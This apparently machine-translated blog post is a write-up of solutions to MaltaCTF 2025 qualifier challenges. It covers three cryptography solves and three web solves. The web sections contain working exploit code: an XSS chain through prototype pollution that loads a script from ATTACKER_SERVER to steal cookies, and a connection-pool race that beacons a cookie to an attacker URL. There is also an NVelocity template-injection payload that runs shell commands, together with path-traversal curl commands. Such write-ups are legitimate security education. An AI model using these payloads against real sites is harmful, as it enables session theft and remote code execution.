MaltaCTF 2025 Quals WriteUps

發表於
分類於 CTF

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

This week, I participated in MaltaCTF 2025 Quals organized by FMC with ${cystick}. As expected, the challenges were both fun and challenging. This time, I only solved a few crypto and web problems.

crypto

2log

from sage.all import matrix, GF, ZZ, randint
                  
FLAG = b"maltactf{???????????????????????????????????}"
k0, k1 = int.from_bytes(FLAG[:len(FLAG)//2+4], "big"), int.from_bytes(FLAG[len(FLAG)//2:], "big")

G = matrix(ZZ, [[1401, 2],[-2048, 1273]])
h1 = ((G**k0)[0][0]).bit_length() - randint(-2**32, 2**32)

G = matrix(GF(2**255-19), G)
h2 = (G**k1)[0][0]
h3 = (G**k1)[0][1]
print(f'{h1 = }')
print(f'{h2 = }')
print(f'{h3 = }')
"""
h1 = 1825310437373651425737133387514704339138752170433274546111276309
h2 = 6525529513224929513242286153522039835677193513612437958976590021494532059727
h3 = 42423271339336624024407863370989392004524790041279794366407913985192411875865
"""

This problem basically asks you to solve two log problems. The first one gives you:

h1=log2(G0,0k0)±ϵh_1 = \log_2(G^{k_0}_{0,0}) \pm \epsilon

The goal is to find k0k_0.

This part can be solved by utilizing the property G0,0kλdkG^k_{0,0} \approx |\lambda_d|^k, where λd\lambda_d is the eigenvalue with the largest absolute value. So k0h1log2λdk_0 \approx \frac{h_1}{\log_2 |\lambda_d|}. Doing this, you will find that GG's eigenvalues only have 13371337 as a repeated root.

The second log part gives you

v=xGk1,x=(1,0)v=x G^{k_1}, x=(1,0)

Everything is done under Fp\mathbb{F}_p, and the goal is to find k1k_1.

Since GG's eigenvalues are repeated, it cannot be diagonalized, so there is a Jordan form:

J=(λ10λ)J = \begin{pmatrix} \lambda & 1 \\ 0 & \lambda \end{pmatrix}

And there exists a matrix PP such that G=PJP1G = PJP^{-1}. Therefore, Gk=PJkP1G^k = PJ^kP^{-1}.

The power of the Jordan form is:

Jk=(λkkλk10λk)J^k = \begin{pmatrix} \lambda^k & k \lambda^{k-1} \\ 0 & \lambda^k \end{pmatrix}

Since x,vx,v are both known, you can directly solve the linear equations to find kk.

from sage.all import *

h1 = 1825310437373651425737133387514704339138752170433274546111276309
h2 = 6525529513224929513242286153522039835677193513612437958976590021494532059727
h3 = 42423271339336624024407863370989392004524790041279794366407913985192411875865

ln = 45  # flag length


# stage 0
G = matrix(ZZ, [[1401, 2], [-2048, 1273]])
print(G.eigenvalues())  # 1337, 1337
lam = int(G.eigenvalues()[0])
k0 = int(round(h1 / log(lam, 2)))

# stage 1
F = GF(2**255 - 19)
G = matrix(F, G)
v = vector([h2, h3])
J, P = G.jordan_form(transformation=True)
assert P * J * ~P == G
# J =
# [1337 1]
# [ 0 1337]
# J^k =
# [1337^k  k*1337^(k-1)]
# [0 1337^k]

# x=[1 0]
# v=x*G^k=x*P*J^k*~P
# v*P=(x*P)*J^k
vP = v * P
xP = P[0]
k, lk1 = polygens(F, ["k", "lk1"])  # k, lam^(k-1)
z0, z1 = xP * matrix([[lk1 * lam, k * lk1], [0, lam * lk1]]) - vP
k1 = int(z0.sylvester_matrix(z1, lk1).det().univariate_polynomial().roots()[0][0])

flag0 = k0.to_bytes(ln // 2 + 4, "big")[:-4]
flag1 = k1.to_bytes(ln - ln // 2, "big")
print(flag0 + flag1)
# maltactf{tw0-d10g5?_m0r3_l1kE_d0ubl3-l1nAlg!}

grammar nazi

from Crypto.Util.number import *

FLAG = 'maltactf{???????????????????????????????}'
assert len(FLAG) == 41

p = getPrime(128)
q = getPrime(128)
N = p * q
e = 65537

m = f'The flag is {FLAG}'
c = pow(bytes_to_long(m.encode()), e, N)

# ERROR: Sentences should end with a period.
m += '.'
c += pow(bytes_to_long(m.encode()), e, N)

# All good now!
print(f'{N = }')
print(f'{c = }')

'''
N = 83839453754784827797201083929300181050320503279359875805303608931874182224243
c = 32104483815246305654072935180480116143927362174667948848821645940823281560338
'''

This is an RSA problem. First, nn is only 256 bits, which can be factored directly (or using factordb lol). However, the difficulty lies in the fact that cc in this problem is not a standard RSA encryption.

Let the part f'The flag is {FLAG}' be xx. Then the calculation of cc is:

c=xe+(256x+46)emodnc = x^e + (256x + 46)^e \mod n

So we have a polynomial

f(x)=xe+(256x+46)ecf(x) = x^e + (256x + 46)^e - c

We need to find its roots in Fp,Fq\mathbb{F}_p, \mathbb{F}_q, and then combine them using CRT. However, a more troublesome point is that e=65537e=65537 is not small, and sage's f.roots() cannot compute it.

I first used pari.polrootsmod to solve this part, which is much faster than sage's f.roots(). Then, seeing the flag, I realized there is another method using Fermat's Little Theorem:

The key is that xpxx^p - x contains all elements in Fp\mathbb{F}_p. So, taking the polynomial g(x)=xpxmodfg(x) = x^p - x \mod{f}, gg and ff have the same roots. Therefore, we can find the roots by computing gcd(f,g)\gcd(f, g). I later remembered seeing this method here.

Finally, after solving for the roots separately, combine them using CRT. It's also important to note that the entire message length is greater than nn, so you need to remove the known plaintext part, leaving only the ????... part.

from sage.all import *

n = 83839453754784827797201083929300181050320503279359875805303608931874182224243
c = 32104483815246305654072935180480116143927362174667948848821645940823281560338
p = 276784813000398431755706235529589161781
q = n // p
assert n == p * q
e = 65537


def solve_rs(p):
    x = polygen(GF(p))
    f = x**e + (x * 256 + ord(".")) ** e - c
    return [int(x.sage()) for x in pari.polrootsmod(f, p)]


def solve_rs2(p):
    x = polygen(GF(p))
    f = x**e + (x * 256 + ord(".")) ** e - c
    g = pow(x, p, f) - x
    return [int(x) for x, _ in f.gcd(g).roots()]


rsp = solve_rs(p)
rsq = solve_rs(q)

tmpl = int.from_bytes(
    b"The flag is maltactf{???????????????????????????????}".replace(b"?", b"\x00"),
    "big",
)
for rp in rsp:
    for rq in rsq:
        r = crt([rp, rq], [p, q])
        f = (r - tmpl) / 256 % n
        flag = int(f).to_bytes(41, "big").strip(b"\x00")
        if flag.isascii():
            print(flag)
# maltactf{Ferm4ts_littl3_polyn0mial_tr1ck}

true random

from qiskit.circuit.random import random_circuit
from qiskit.quantum_info import Operator
from qiskit.quantum_info import Statevector
from numpy import array, save
from math import log2
import random
random = random.SystemRandom()
flag = open("flag.txt", "r").read().strip()
flag_len = len(flag)*8
assert flag_len == 256
depth = 10
qubits = int(log2(flag_len))

flag_bits = [int(bit) for bit in ''.join(format(ord(c), '08b') for c in flag)]



def random_pair(op):
    otp_key = [random.choice([0,1]) for _ in range(flag_len)]
    i = Statevector(otp_key)
    f = i.evolve(op)
    enc = array([flag_bits[i] ^ otp_key[i] for i in range(flag_len)])
    return array([enc, f.data])

ops = []
for _ in range(13):
    qc = random_circuit(qubits, depth, measure=False)
    op = Operator(qc)
    ops.append(op)

sets = 256
data = array([random_pair(random.choice(ops)) for _ in range(sets)])
save("enc.npy", data)

This problem gives you 256 flags encrypted with OTP, and the result of transforming the OTP key bits using a random unknown quantum circuit generated by qiskit.

Here I found that the output f.data is a 256-sized complex vector. The sum of their norms is exactly sum(otp_key), so we can know how many 11 are in the OTP key.

Thus, our problem becomes: we have many OTP ciphertexts of the flag, and we know the Hamming weight of the key. How do we find the flag?

This problem reminds me of SEETF 2022 - Neutrality, which is almost identical. So I can just copy its LLL solution.

from sage.all import *
import numpy as np
from tqdm import tqdm
from binteger import Bin

bits = 256

P = PolynomialRing(ZZ, bits, "x")
fs = P.gens()

data = np.load("enc.npy")

# ref: https://blog.maple3142.net/2022/06/06/seetf-2022-writeups/#neutrality
eqs = []
for enc, fdata in tqdm(data):
    hw = int(
        round(sum([abs(x) ** 2 for x in fdata]))
    )  # this is the hamming weight of the otp
    eq = sum([(f - e) ** 2 for f, e in zip(fs, enc.astype(int))]) - hw
    eqs.append(eq)

eqs = Sequence([f - g for f, g in zip(eqs, eqs[1:])])
M, monos = eqs.coefficients_monomials()
M = M.dense_matrix()
A = M[:, :-1]
b = vector(M[:, -1])


def lllsolve(A, b):
    # find a *small* solution x such that A*x=b
    A = A.T
    nr, nc = A.dimensions()
    A = A.augment(matrix.identity(nr))
    A = A.stack(vector(list(b) + [0] * nr))
    A[:, :nc] *= 2**30
    for row in A.LLL():
        if row[:nc] == 0:
            return row[nc:]


sol = lllsolve(A, b)
print(Bin(sol).bytes)
# maltactf{f55dc5132f9529106d6e:3}

web

fancy text generator

This is an XSS problem. Server:

app.use((req, res, next) => {
    res.set('Content-Security-Policy', "script-src 'sha256-1ltlTOtatSNq5nY+DSYtbldahmQSfsXkeBYmBH5i9dQ=' 'strict-dynamic'; object-src 'none';");
    next();
  });

app.get('/', (req, res) => {
    const window = new JSDOM('').window;
    const DOMPurify = createDOMPurify(window);
    return res.render('index', {text: DOMPurify.sanitize(req.query.text)})
})

This means the problem has a CSP with nonce + strict-dynamic. The main route receives HTML input, processes it with dompurify, and puts it on the page. And index.ejs indeed allows injection:

<head>
    <title>Fancy Text Generator!</title>
    <link href="https://cdn.jsdelivr.net/npm/pace-js@1.2.4/pace-theme-center-atom.min.css" rel="stylesheet">
    <link href="/style.css" rel="stylesheet">
    <script integrity="sha256-1ltlTOtatSNq5nY+DSYtbldahmQSfsXkeBYmBH5i9dQ=" src="/loader.js"></script>
</head>
<body>
    <h1>Fancy text generator</h1>
    <div id="contentBox"><%- text || "fancy text generator!" %></div>
    </br>
    <form action="/" method="GET">
        <input name="text" placeholder="text to make fancy">
	<input type="submit" value="submit">
    </form>
</body>

Obviously, without bypassing dompurify, you can't do anything like this. Even if you could bypass it, the CSP would still block it. So the key is loader.js:

scripts = {
    "pace": "https://cdn.jsdelivr.net/npm/pace-js@latest/pace.min.js",
    "main": "/main.js",
}

function appendScript (src) {
    let script = document.createElement('script');
    script.src = src;
    document.head.appendChild(script);
};

for (let script in scripts) {
    appendScript(scripts[script]);
}

It loads pace.min.js and main.js separately. The former can first be seen here to have prototype pollution from the DOM:

<div data-pace-options='{"__proto__":{"a":1}}'></div>

But executing this doesn't work because main.js does this:

const toFancyText = (text) => {
    // some processing with text
}

contentBox.innerText = toFancyText(contentBox.innerText)

Your injected HTML is in #contentBox, so if main.js finishes loading before pace.js, your HTML will be overwritten, causing the pollution to fail. The bypass is simple: give your div the id="contentBox", so accessing it via window[id] will get an HTML collection, causing toFancyText to throw an error, and your HTML won't be overwritten.

<div id="contentBox" data-pace-options='{"__proto__":{"a":1}}'></div>

Next is how to achieve XSS solely through prototype pollution. I couldn't find a way myself, so I looked for other gadgets in pace.js and found another XSS in pace.js: here

Since there's an XSS, we can inject an iframe. In the iframe, first use pace.js to PP, and then trigger the loading of loader.js again. Then for (let script in scripts) will get our polluted prototype value, allowing us to control the target loaded by appendScript.

Script to generate the payload (execute in the console of the challenge page):

html = `<iframe srcdoc='
<img id=contentBox data-pace-options="{ &amp;quot;__proto__&amp;quot;: {&amp;quot;a&amp;quot;:&amp;quot;https://ATTACKER_SERVER/exp.js&amp;quot;} }">
<script integrity="sha256-1ltlTOtatSNq5nY+DSYtbldahmQSfsXkeBYmBH5i9dQ=" src="/loader.js"></script>
<script integrity="sha256-1ltlTOtatSNq5nY+DSYtbldahmQSfsXkeBYmBH5i9dQ=" src="https://ATTACKER_SERVER/loader.js.php" crossorigin="anonymous"></script>
'></iframe>`
html = html.replace(/"/g, '\\u0022').replace(/'/g, '\\u0027').replace(/\n/g, '\\n').replace(/&/g, '\\u0026')
location =
	'/?text=' +
	encodeURIComponent(`
<img id=contentBox data-pace-options='{ "startOnPageLoad": true, "className": "peko \\">${html}", "__proto__": {"a":1} }'>
`)
// maltactf{oops_my_dependency_is_buggy_05b19465ce19db4e28ddb00bb19f101e}

exp.js is the payload to steal cookies, which is not important. loader.js.php is a simple PHP program that outputs the content of loader.js after a delay. This ensures that the second load of loader.js will use the polluted prototype.

<?php
sleep(1);
header('Access-Control-Allow-Origin: *');
header('Content-Type: application/javascript');
echo file_get_contents('https://fancy-text-generator-web.shared.challs.mt/loader.js');

AdBlocker

This problem has two origins: web and analytics.

The flag is in the cookie of analytics. It has an /integrate page that receives postMessage. If the source is from a specific origin (including web), it can be made to actively send the flag to any location:

<script>
    const TRUSTED_ORIGINS = [/*TRUSTED_ORIGINS*/];

    function isTrustedOrigin(origin) {
        return TRUSTED_ORIGINS.includes(origin);
    }

    window.addEventListener('message', (event) => {
        if (!isTrustedOrigin(event.origin)) {
            console.warn('Rejected message from untrusted origin:', event.origin);
            return;
        }

        if (!event.data || typeof event.data !== 'object') {
            console.warn('Invalid message format received');
            return;
        }

        if (event.data.analytics && event.data.url) {
            if (isTrustedOrigin(event.origin)) {
                navigator.sendBeacon(event.data.url, JSON.stringify({"analytics-tracking-cookies": document.cookie, "url": event.data.url}));
            }
        }
    });

    if (window.parent) {
        window.parent.postMessage({
            payload: 'Integration successful :D'
        }, '*'); 
    }
</script>

So we need to find a way to get XSS under the web origin.

Then the web part has /ad.html, the key part is as follows:

<script>
    window.addEventListener('message', (event) => {
        if (event.source.parent !== window) {
            return;
        }
        if (event.data && event.data.payload) {
            document.getElementById('ad-hello').innerHTML = event.data.payload;    
        }
    });

    function tempAd() {
        const iframe = document.createElement('iframe');
        iframe.src = `http://${window.location.hostname}:3000/integrate`;
        iframe.width = '100%';
        iframe.height = '100%';
        iframe.style.border = 'none';
        
        const container = document.getElementById('ad-container');
        container.appendChild(iframe);
        
        setTimeout(async () => {
            await import('/ad.js');
        }, 1);
    }

    tempAd();
</script>

It loads the analytics's /integrate page, and the HTML received from that iframe is put on the page. So if it's controllable, we can achieve XSS. A simple idea is to use window reference to do w.frames[0].location = ... to change the iframe's page, and then post message to trigger the web XSS.

However, doing this directly doesn't work because ad.js removes the iframe after pinging analytics:

(async function() {
    const container = document.getElementById('ad-container');
    
    const currentHost = window.location.hostname;
    const analyticsUrl = `http://${currentHost}:3000/ping`;
    
    try {
        await fetch(analyticsUrl);
        if (container && container.firstChild) {
            container.removeChild(container.firstChild);
        }
    } catch (error) {
        console.log('Analytics service not available');
    }
})(); 

So for the attack to succeed, we need to finish the above steps before it removes the iframe, which is not easy. However, I thought about it differently: what if we just block the fetch part? Because browsers have some connection pool mechanisms that limit the number of connections based on certain rules, as long as we keep fetching the analytics's /ping page on our exploit page to delay that fetch, the attack can succeed.

<script>
	const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))
	const main = async () => {
		const runInAttackerOrigin = async () => {
			const runInAdOrigin = async () => {
				console.log('xss', location.href, origin)
				const w = window.open('http://analytics:3000/integrate', '_blank')
				setTimeout(() => {
					w.postMessage(
						{
							url: 'http://ATTACKER_SERVER/flag.php',
							analytics: true
						},
						'*'
					)
				}, 500)
			}
			const xss = `<img src=x: onerror="(${runInAdOrigin})()">`
			parent.postMessage(
				{
					payload: xss
				},
				'*'
			)
		}
		const frameurl = URL.createObjectURL(
			new Blob([`<script>(${runInAttackerOrigin})()<\/script>`], { type: 'text/html' })
		)

		let cnt = 0
		const it = setInterval(() => {
			for (let i = 0; i < 20; i++) fetch('http://analytics:3000/ping') // prevent analytics /ping from being loaded
			for (let i = 0; i < 1000; i++) {
				try {
					w.frames[0].location = frameurl
					console.log('success')
					clearInterval(it)
					break
				} catch {}
			}
			if (cnt > 10) clearInterval(it)
			cnt++
		}, 1)
	}
	main()
	// maltactf{th1s_w4s_4s_exh4ust1V3_aS_th3_C0nnection_P00l}
</script>
<iframe
	src="http://web:1337/ad.html"
	name="w"
	sandbox="allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox"
></iframe>

Enterprise Template as a Service

This is a dotnet problem. The key part is the following:

app.MapPost("/", async (HttpContext context) =>
{
    var form = await context.Request.ReadFormAsync();
    string templateName = form["template"];
    if (string.IsNullOrEmpty(templateName))
    {
        await context.Response.WriteAsync("missing template field");
        return;
    }

    var templatePath = Path.Combine("templates", templateName);

    VelocityEngine velocity = new VelocityEngine();
    velocity.Init();

    VelocityContext velocityContext = new VelocityContext();
    velocityContext.Put("name", System.Net.WebUtility.HtmlEncode(form["name"].ToString()));
    velocityContext.Put("url", System.Net.WebUtility.HtmlEncode(form["url"].ToString()));
    velocityContext.Put("date", System.Net.WebUtility.HtmlEncode(DateTime.Now.ToString()));

    var writer = new StringWriter();
    try {
        var template = await File.ReadAllTextAsync(templatePath);
        Boolean ok = velocity.Evaluate(velocityContext, writer, templateName, template);
    } catch (Exception e) {
        await context.Response.WriteAsync("template rendering failed");
        return;
    }


    context.Response.ContentType = "text/html; charset=utf-8";
    await context.Response.WriteAsync(writer.ToString());
});

Simply put, you can specify a path to read, and it will render it using the NVelocity template engine. The goal is RCE by calling /readflag.

First, the obvious goal is SSTI, but the payload can only come from local. What to do? This is not difficult. You can achieve this directly through the big file upload buffering that many frameworks have. Usually, uploaded files are temporarily stored somewhere. Although we don't know the filename, we can still read it using /proc/self/fd/.... This technique is quite an old CTF trick, for example, I did this in UIUCTF 2022 - spoink.

So the rest is just using Nvelocity syntax to call shell through c# reflection. For this part, I looked up information online and constructed the payload after some time:

#set($e="e")

#set($loadfile=$e.GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile"))
$loadfile

#set($args=["/usr/share/dotnet/shared/Microsoft.NETCore.App/8.0.17/System.Diagnostics.Process.dll"])
#set($proc=$loadfile.Invoke($null, $args.ToArray()))
#set($methods=$proc.GetType("System.Diagnostics.Process").GetMethods())
#set($args=["sh", "-c /readflag>/tmp/flag"])
#foreach($meth in $methods)
    $velocityCount: $meth
    #if($velocityCount == 71)
        #set($r=$meth.Invoke($null, $args.ToArray()))
        $r.WaitForExit()
        $r.ExitCode
    #end
#end

The above first gets Assembly from String, then LoadFile loads System.Diagnostics.Process.dll, and then runs shell through Process.start, writing the flag to /tmp/flag. This way, we can get the flag by reading /tmp/flag using path traversal the second time.

To execute the exploit, you need to save the above content to test.tmpl, append a lot of garbage padding to make it exceed 64kb, and then race it:

for i in {1..10}; do curl 'https://etaas-619ec4c980a829be.instancer.challs.mt' -F 'template=../../../../../proc/1/fd/231' -F 'name=qw' -F 'url=cc' -F 'qq=@test.tmpl' &; done

If successful, send another request to read the file:

curl 'https://etaas-619ec4c980a829be.instancer.challs.mt' -F 'template=../../../../../tmp/flag' -F 'name=w' -F 'url=cc' -F 'qq=q'
# maltactf{why_is_there_java_in_my_c#_6e95af9cd14fdcb0e544afccc5108c85}